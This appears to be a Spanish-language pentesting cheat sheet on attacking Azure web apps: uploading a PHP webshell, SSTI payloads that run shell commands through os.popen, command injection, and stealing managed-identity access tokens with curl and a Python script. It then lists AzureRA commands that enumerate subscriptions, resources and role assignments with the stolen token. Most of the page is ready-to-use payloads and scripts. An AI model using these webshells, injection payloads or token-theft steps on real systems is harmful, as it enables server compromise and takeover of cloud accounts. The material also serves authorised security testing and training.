Ataques a aplicaciones web
Subida de ficheros insegura
Si nos encontramos con una aplicación que permite la subida de ficheros sin restricción, podríamos subir una webshell que nos permita ejecutar comandos en el sistema e identificar si la aplicación tiene una identidad administrada (managed identity).
Una aplicación tiene una identidad administrada si contiene en sus variables de entorno (env
):
IDENTITY_HEADER
IDENTITY_ENDPOINT
Si se quiere obtener un token de acceso para la identidad administrada se puede realizar lo siguiente:
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
Webshell de PHP
Webshell básica: https://victima.com/shell.php?cmd=env
<?php
system($_REQUEST['cmd']);
?>
Token de acceso: https://victima.com/gettoken.php
<?php
system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
Se obtendría un token de acceso como el siguiente:
{"access_token":"<JWT>","expires_on":"05/17/2024 06:26:47 +00:00","resource":"https://management.azure.com/","token_type":"Bearer","client_id":"064aaf53-30af-41f0-841a-0e21ed149936"}
Conexión y enumeración con token de acceso
Es posible conectarse con Az Powershell haciendo uso del access_token y client_id:
Para obtener las subscripciones y sus subscriptionId se puede utilizar el siguiente script (AzureRA) usando el token de acceso (access_token) anterior:
Get-RA-Subscriptions -AccessToken '<TOKEN JWT>'
Para obtener la lista de recursos se utiliza el siguiente script (AzureRA) con el mismo token de acceso y el subscriptionId de la suscripción de la cuál queramos obtener los recursos:
Get-ResourcesBySubscriptions.ps1 -AccessToken '<TOKEN JWT>' -SubscriptionID '<Subscription ID>'
Si se quiere consultar los permisos de un recurso, se puede utilizar el siguiente script (AzureRA) con el mismo token de acceso y la ruta del recurso:
Get-RA-RoleAssignment -AccessToken '<TOKEN JWT>' -ResourcePath '<Resource path>'
Por ejemplo:
Get-RA-RoleAssignment -AccessToken $accesstoken -ResourcePath '/subscriptions/b413326f-108d-40179-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/bkpadconnect'
SSTI - Server Side Template Injection
Si contamos con una entrada vulnerable a inyección de plantillas:
{{7*7}}
Para averiguar de cuál tipo de engine se trata se pueden buscar claves de configuración en el buscador para identificarlo.
{{config.items()}}
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
Obtención de variables de entorno de identidad administrada
Sustituyendo el comando por env
para obtener las variables de entorno:
{{config.__class__.__init__.__globals__['os'].popen('env').read()}}
Con el siguiente comando se puede obtener el token de acceso usando las variables de entorno:
{{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER').read()}}
Para conectarse usando el token de acceso: Az Powershell
Inyección de comandos
Si contamos con una entrada vulnerable a inyección de comandos, podríamos obtener las variables de entorno y usarlas para obtener un token de acceso que nos permita posteriormente acceder:
Para obtener las variables de entorno:
env
Para obtener un token de acceso:
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
Si no es posible realizar esto desde el punto de inyección de comandos, se podría crear un fichero python y ejecutarlo en el sistema para obtener los tokens de acceso:
import os
import json
import subprocess
def get_token(resource):
cmd = f'curl "{os.environ["IDENTITY_ENDPOINT"]}?resource={resource}&api-version=2017-09-01" -H secret:{os.environ["IDENTITY_HEADER"]}'
return json.loads(subprocess.check_output(cmd, shell=True))
def print_token_info(api_name, token_info):
print(f"[+] {api_name} API")
print(f"Access Token: {token_info['access_token']}")
print(f"ClientID: {token_info['client_id']}\n")
for api, resource in [("Management", "https://management.azure.com/"), ("Graph", "https://graph.microsoft.com/")]:
token_info = get_token(resource)
print_token_info(api, token_info)
Última actualización
¿Te fue útil?